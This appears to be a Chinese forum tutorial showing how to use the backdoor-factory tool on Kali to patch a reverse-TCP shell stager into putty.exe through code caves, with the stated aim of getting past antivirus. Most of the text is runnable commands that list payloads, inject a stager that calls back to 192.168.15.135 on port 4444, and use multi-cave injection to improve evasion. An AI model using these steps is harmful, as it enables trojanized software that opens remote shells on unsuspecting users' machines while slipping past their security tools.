backdoor-factory patch注入绕过
backdoor-factory 看其名知其意，直译过来就是后门工厂的意思。利用其 patch 方式的编码加密技术，可以轻松的生成win32PE后门程序，从而帮助我们绕过一些防病毒软件的查杀，达到一定得免杀效果！下面，我们来看看如何在 kali 上使用它。kali2.0 内已经集成了该款软件，如果找不到可以自己进行安装：apt-get install backdoor-factory检测软件是否能够植入木马backdoor-factory -f xx.exe -S三：在确定其支持patch 后，我们再来查看其是否支持我们指定的 shellcode patch backdoor-factory -f xx.exe -c -l 200-c：code cave(代码裂缝)-l：代码裂缝大小四：接下来我们继续检查 putty.exe 支持哪些 payload 的注入：backdoor-factory -f xx.exe -s show从检查结果可以看出其支持以下几种 payload 的注入：接着我们就可以使用 -s 参数来进行选择 payload 并对其实现注入：backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444-s：选择使用 payload 类型-H：选择回连服务器地址-P：回连服务器端口当我们回车执行后，我们可以看到以下界面。这里要求我们选择 code cave ，我随便选择了一个 cave3回车。此时我们可以看到生成的文件，已被保存到了 backdoored 目录下！以上 patch 方式为 单代码裂缝的注入，为了取得更好的免杀效果，我们还可以使用 多代码裂缝的方式进行注入！backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444 -J
-J：使用多代码裂缝注入
页:
[1]